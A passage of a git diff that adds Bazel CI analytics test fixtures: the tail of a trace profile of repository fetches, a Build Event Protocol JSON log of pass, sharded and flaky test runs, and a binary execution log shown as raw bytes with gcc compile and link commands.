"@@rules_java++toolchains+remotejdk17_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685225, "dur": 17968, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685222, "dur": 18683, "pid": 1, "tid": 863}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_windows_toolchain_config_repo", "ph": "X", "ts": 6685092, "dur": 19211, "pid": 1, "tid": 771}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_toolchain_config_repo", "ph": "X", "ts": 6685240, "dur": 19807, "pid": 1, "tid": 686}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_toolchain_config_repo", "ph": "X", "ts": 6685223, "dur": 19891, "pid": 1, "tid": 867}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_riscv64_toolchain_config_repo", "ph": "X", "ts": 6685270, "dur": 19975, "pid": 1, "tid": 770}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685383, "dur": 20945, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685358, "dur": 20992, "pid": 1, "tid": 852}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_toolchain_config_repo", "ph": "X", "ts": 6685366, "dur": 21318, "pid": 1, "tid": 838}, +{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 6446582, "dur": 609243, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 7056087, "dur": 135, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7066480, "dur": 20, "pid": 1, "tid": 769}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7073352, "dur": 1303, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7074884, "dur": 448, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7076116, "dur": 215, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7076575, "dur": 912, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7077639, "dur": 562, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 6447628, "dur": 696061, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 7144348, "dur": 234, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_python++uv+uv", "ph": "X", "ts": 7158611, "dur": 2966, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_python++python+pythons_hub", "ph": "X", "ts": 7251169, "dur": 7712, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7289289, "dur": 19, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7299107, "dur": 16, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7306163, "dur": 214, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7306477, "dur": 1491, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7308087, "dur": 2631, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7289673, "dur": 44756, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7334636, "dur": 163, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7430613, "dur": 18, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7430912, "dur": 285, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7431527, "dur": 37249, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7469049, "dur": 688, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7469907, "dur": 462, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7470561, "dur": 714698, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 8185888, "dur": 1894, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8206177, "dur": 16, "pid": 1, "tid": 865}, +{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8207846, "dur": 202, "pid": 1, "tid": 858}, +{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8208145, "dur": 1651, "pid": 1, "tid": 858} +]} diff --git a/tools/bazel/testdata/ci_analytics/real/postclean-bep.json b/tools/bazel/testdata/ci_analytics/real/postclean-bep.json new file mode 100644 index 000000000..a7d90d64e --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/postclean-bep.json @@ -0,0 +1,12 @@ +{"id": {"started": {}}, "started": {"uuid": "f2369dd1-2e00-4af2-8147-111452c04cce", "startTimeMillis": "1791360370092", "buildToolVersion": "9.2.0", "command": "test"}} +{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "41", "status": "PASSED", "testAttemptDuration": "0.041s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:pass_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "totalNumCached": 1, "attemptCount": 1}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "44", "status": "PASSED", "testAttemptDuration": "0.044s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 2, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 3, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:sharded_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "totalNumCached": 3, "shardCount": 3, "attemptCount": 1}} +{"id": {"testResult": {"label": "//:flaky_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "36", "status": "FAILED", "testAttemptDuration": "0.036s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.036s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:flaky_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "FAILED", "attemptCount": 1}} +{"id": {"buildFinished": {}}, "finished": {"finishTimeMillis": "1791360370833", "exitCode": {"name": "TESTS_FAILED", "code": 3}}} +{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "elapsed time", "contents": "MC43NDEwMDA="}, {"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMC4xMXMsIFJlbW90ZSAoMC4wMCUgb2YgdGhlIHRpbWUpOiBbcGFyc2U6IDAuMDAlLCBxdWV1ZTogMC4wMCUsIG5ldHdvcms6IDAuMDAlLCB1cGxvYWQ6IDAuMDAlLCBzZXR1cDogMC4wMCUsIHByb2Nlc3M6IDAuMDAlLCBmZXRjaDogMC4wMCUsIHJldHJ5OiAwLjAwJSwgcHJvY2Vzc091dHB1dHM6IDAuMDAlLCBvdGhlcjogMC4wMCUsIGlucHV0IGZpbGVzOiAwLCBpbnB1dCBieXRlczogMCwgbWVtb3J5IGJ5dGVzOiAwXQogIDAuMDhzIGFjdGlvbiAnVGVzdGluZyAvLzpmbGFreV90ZXN0JwogIDAuMDBzIHJ1bmZpbGVzIGZvciAvLzpmbGFreV90ZXN0CiAgMC4wMXMgYWN0aW9uICdMaW5raW5nIGZsYWt5X3Rlc3QnCiAgMC4wMXMgYWN0aW9uICdDb21waWxpbmcgbWFpbl9mYWlsLmMn"}, {"name": "process stats", "contents": "MjUgcHJvY2Vzc2VzOiAxNiBkaXNrIGNhY2hlIGhpdCwgMTMgaW50ZXJuYWwsIDEgcHJvY2Vzc3dyYXBwZXItc2FuZGJveC4="}, {"name": "command.profile.gz"}, {"name": "execution_log.binpb.zst"}]}} +{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "11020", "wallTimeInMs": "733", "analysisPhaseTimeInMs": "332", "executionPhaseTimeInMs": "386", "actionsExecutionStartInMs": "336", "criticalPathTime": "0.111170468s"}, "actionSummary": {"actionsCreated": "39", "actionsExecuted": "25", "runnerCount": [{"name": "total", "count": 25}, {"name": "disk cache hit", "count": 16, "execKind": "Remote"}, {"name": "internal", "count": 13}, {"name": "processwrapper-sandbox", "count": 1, "execKind": "Local"}], "actionCacheStatistics": {"misses": 25}, "actionData": [{"mnemonic": "TestRunner", "actionsExecuted": "5", "systemTime": "0.032s", "userTime": "0.004s", "actionsCreated": "15"}, {"mnemonic": "RepoMappingManifest", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "SymlinkTree", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "CppLink", "actionsExecuted": "3", "actionsCreated": "9"}, {"mnemonic": "SourceSymlinkManifest", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "RunfilesTree", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "CppCompile", "actionsExecuted": "3", "actionsCreated": "9"}, {"mnemonic": "BazelWorkspaceStatusAction", "actionsExecuted": "1", "actionsCreated": "2"}, {"mnemonic": "Genrule", "actionsExecuted": "1", "actionsCreated": "3"}, {"mnemonic": "TranslateBuildInfo", "actionsCreated": "6"}, {"mnemonic": "CcStrip", "actionsCreated": "9"}, {"mnemonic": "FileWrite", "actionsCreated": "9"}, {"mnemonic": "Symlink", "actionsCreated": "3"}, {"mnemonic": "ExecutableSymlink", "actionsCreated": "3"}]}, "packageMetrics": {"packagesLoaded": "90"}, "targetMetrics": {"targetsConfigured": "883"}, "networkMetrics": {"systemNetworkStats": {"bytesSent": "43171986", "bytesRecv": "146569473"}}}} diff --git a/tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb b/tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb new file mode 100644 index 000000000..13ec2a044 --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb @@ -0,0 +1,567 @@ +86 +SHA-256_main"$f2369dd1-2e00-4af2-8147-111452c04cce€| +3external/bazel_tools/tools/genrule/genrule-setup.shE +@2138ccc4608e0a41291680587baced12bb80379b6924c3c4c2d9ef272f99139fâ2*rn +&bazel-out/k8-fastbuild/bin/gen_out.txtD +@5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03È:Å + /bin/bash +-c +osource external/bazel_tools/tools/genrule/genrule-setup.sh; echo hello > bazel-out/k8-fastbuild/bin/gen_out.txt$ +PATH/bin:/usr/bin:/usr/local/bin 2(: +//:gen_outBGenruleZdisk cache hit`hpx‚E +@7bc5e991e8d71596d1042255f093ee1907c4614860ba7e1fe09ab6baf546c89b‘’! +€¤è"€’ôX† +`¢ ñú—Ö€µ·I§¢ +Yexternal/rules_cc++cc_configure_extension+local_config_cc/builtin_include_directory_pathsE +@8f7db3657f51747bb67c70c3f9ba2678ff87f1670e1a572c81aeef79af40c1deê•� +Gexternal/rules_cc++cc_configure_extension+local_config_cc/cc_wrapper.shE +@44de34ffa88565ff276fc5aa9971b262291db42cb486eb11cfece50454176d9b÷ +Ÿš +Qexternal/rules_cc++cc_configure_extension+local_config_cc/deps_scanner_wrapper.shE +@d273dd7612f1b110942c32c7e74046f27926fd576395d7fce0f225784fd21a1bî¢� +Texternal/rules_cc++cc_configure_extension+local_config_cc/validate_static_library.shE +@808d17e44d12a4e433a3f2d810760b641afce3714e44d350ba53ea7cf773dce8Õ +2*W S + main_fail.cD +@7b4bb8e34d20c4ec426e4770c2c8e808fea9f4c78893f9190b02c55e9f75e88b + +2"* ‰ „ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.oE +@1b679cd82a4f53b030b31b689669f8e65c4c1e90c17f805078dd2a8edb7e0584Ð W S + main_pass.cD +@2ad75d95660563887d8d3f1d0ae1dcf18c2379cbd83a5c72f5ab276351ee6949 + 2"* ˆƒ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.dD +@082426df51ca02ea00b2382c7d7b1df16b38608090b3ce87f7c7634db459891cgˆƒ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.oE +@e1a5f327ee544bac718e414feb417ee9e04d39e9b1276e54e7e8ab02d29323b5Ð Å: + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.d +I-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_fail.c +-o +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd +2( 2(: //:flaky_testB +CppCompileZdisk cache hit`hpx‚E +@7db0318384af7d25cd261e60e27e11b0d098c735e707cba5d8236048e5bce944’’" +À¨¥"ÀŸ«Xö%`¢ ñú—ÖÀይ‡‚ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.dD +@2e8ca7b27e3234d03d277791f221f2662b3b7247afe26e933a69a3e4dd36e473fÁ:¾ + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.d +H-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_pass.c +-o +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(: //:pass_testB +CppCompileZdisk cache hit`hpx‚E +@edafc7f3d7eb8e1f73b94703ab903cd05556b98b31a5922b2439528943cbc311’’" +À¨¥"€›îXö%`¢ ñú—ÖÀؑ¬‡‚ +:external/rules_cc+/cc/private/toolchain/build_interface_soD +@ca1c6c1ec88d12130f9d59bf6b1a9d0a81cf407c586c515717c2de63dc63a80bu�ˆ +?external/rules_cc+/cc/private/toolchain/link_dynamic_library.shE +@410914e519a1d309961ba77f4549a8c92da307ce1f596c10f8284da904b17a77� 2"* +2"* {w +.bazel-out/k8-fastbuild/bin/flaky_test-0.paramsE +@c577fe96cce31d4eea72ffbb6d7aa46945f0c984f907f3be440b2d575396cc06  +2"* +2"*zv +-bazel-out/k8-fastbuild/bin/pass_test-0.paramsE +@1c4343b244ba16563979291c4538e0c3eaad825d8f3c544062a69a6a939af671ž +2"*rn +%bazel-out/k8-fastbuild/bin/flaky_testE +@674a99e83e5c4ed8beafe2af4d7b0ac254838e7f05e1c5c9cc9010cfe8a2dd78¨0qm +$bazel-out/k8-fastbuild/bin/pass_testE +@d26a879186fed4dc742a5c000a7ab235b0a1009c0d291006150806c5c8015409¨0¬:© + /usr/bin/gcc +.@bazel-out/k8-fastbuild/bin/pass_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:pass_testBCppLinkZdisk cache hit`hpx‚E +@40a597b9bccac093484d0c5f4e3afa0f6cc312bd363a2dac74c8ef6e269d344d’’ +À±ŸXÝZ`¢ ñú—Ö€£ÌÁ®:« + /usr/bin/gcc +/@bazel-out/k8-fastbuild/bin/flaky_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:flaky_testBCppLinkZdisk cache hit`hpx‚E +@4894cc5cc7eba8d833a50277c20d3f8ca3e8d632ad4de6ec97ba0d469d36c578’’ +€­âXáZ`¢ ñú—Ö€µÀÃYU + main_shard.cE +@7cfaebd87ccc933f629e4c77aad22d17d9372fb0845f98c99613e71df0028098ù +2"*Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.oE +@0d35f7d26f0b4af9e7b916c3905b7283fa2021551639d8a9ec079027d9a2c380° Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.dE +@f66abbbe9d483307c493d0cf1ab6809bf6aa64da7e155a7ba6e83ac66e976286®Ê:Ç + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.d +L-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_shard.c +-o +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(://:sharded_testB +CppCompileZdisk cache hit`hpx‚E +@ecb953f2ab45730fa4a7a8d72dac46d1a42af9563bdf7a599c6d3fca1f3add26’’ +€­âXÔ'`¢ ñú—ÖÀž�Á 2*}!Ry +-bazel-out/k8-fastbuild/bin/pass_test.runfiles 2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026az"v +-external/bazel_tools/tools/test/test-setup.shE +@49ba08927c3c556c52c6f771eaca362a0dbd1b6e19fd2667c61d92c33a32278aåt|#x +/external/bazel_tools/tools/test/generate-xml.shE +@368e50ceca617b237c60adf70105cf6e1d33427f232c78239a3e7c10a4d93ebfí' $2*!"#<%"8 +6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsÃ:À +-external/bazel_tools/tools/test/test-setup.sh + ./pass_test> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66br +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU +TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl + TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc +TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT +TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings +TEST_WORKSPACE_main +TZUTCE +XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml $24"2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml2C"Abazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely29"7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs2D"Bbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_log2G"Ebazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failure2(%2J"Hbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFEST2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS2P"Nbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS.pb: //:pass_testB +TestRunnerZdisk cache hit`hpx‚E +@eca04b5900fa4ed072925381966f72b38290fddecfc720ab6ea7fef50c0ad80d—ˆà§’" +À–±"À„=XÑ×`¢ ñú—ÖÀô­å +&2"*}'y +0bazel-out/k8-fastbuild/bin/sharded_test-0.paramsE +@bb9b5928db17b3f1215dc9e0405f5118783b5a7995020e6bc5fbd4df81f51d2e¥ +(2"&*'t)p +'bazel-out/k8-fastbuild/bin/sharded_testE +@0a8dce773490fe6720cadc64b758164f2f15a9b1a38c0ac818ada7a0bbb84e67�4±:® + /usr/bin/gcc +1@bazel-out/k8-fastbuild/bin/sharded_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 (2()://:sharded_testBCppLinkZdisk cache hit`hpx‚E +@6774a44f61fa2f7d823a17ba620338f16daa5a9958d0d086c47ef8ce1bfd6181’’ +À„=XË^`¢ ñú—Ö€û½Ø*{ +2bazel-out/k8-fastbuild/testlogs/pass_test/test.logE +@c4d97ed7504f0d4c742f57c5c7014ef33de0b8b077e90765a330ab231c2b09e5œ+2*#*,{ +2bazel-out/k8-fastbuild/testlogs/pass_test/test.xmlE +@e69b20191cc399c99510a46ad7322a20bd7fe10c2ac70a01c4e73bf5ad48969cýâ:ß +/external/bazel_tools/tools/test/generate-xml.sh +2bazel-out/k8-fastbuild/testlogs/pass_test/test.log +2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml +0 +0> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:pass_test] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66b +TEST_TOTAL_SHARDS0r +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU +TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl + TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc +TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT +TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings +TEST_WORKSPACE_main +TZUTCE +XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml +2(,: //:pass_testB +TestRunnerZdisk cache hit`hpx‚E +@b584e3038448fcd213780f7b60fdb56bb134d48a2ce96777cb5d5596f25a74ab’’ +€‰zXÌ/`¢ ñú—ÖÀ�ê„-2*)€.R| +0bazel-out/k8-fastbuild/bin/sharded_test.runfiles-2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a /2*."# 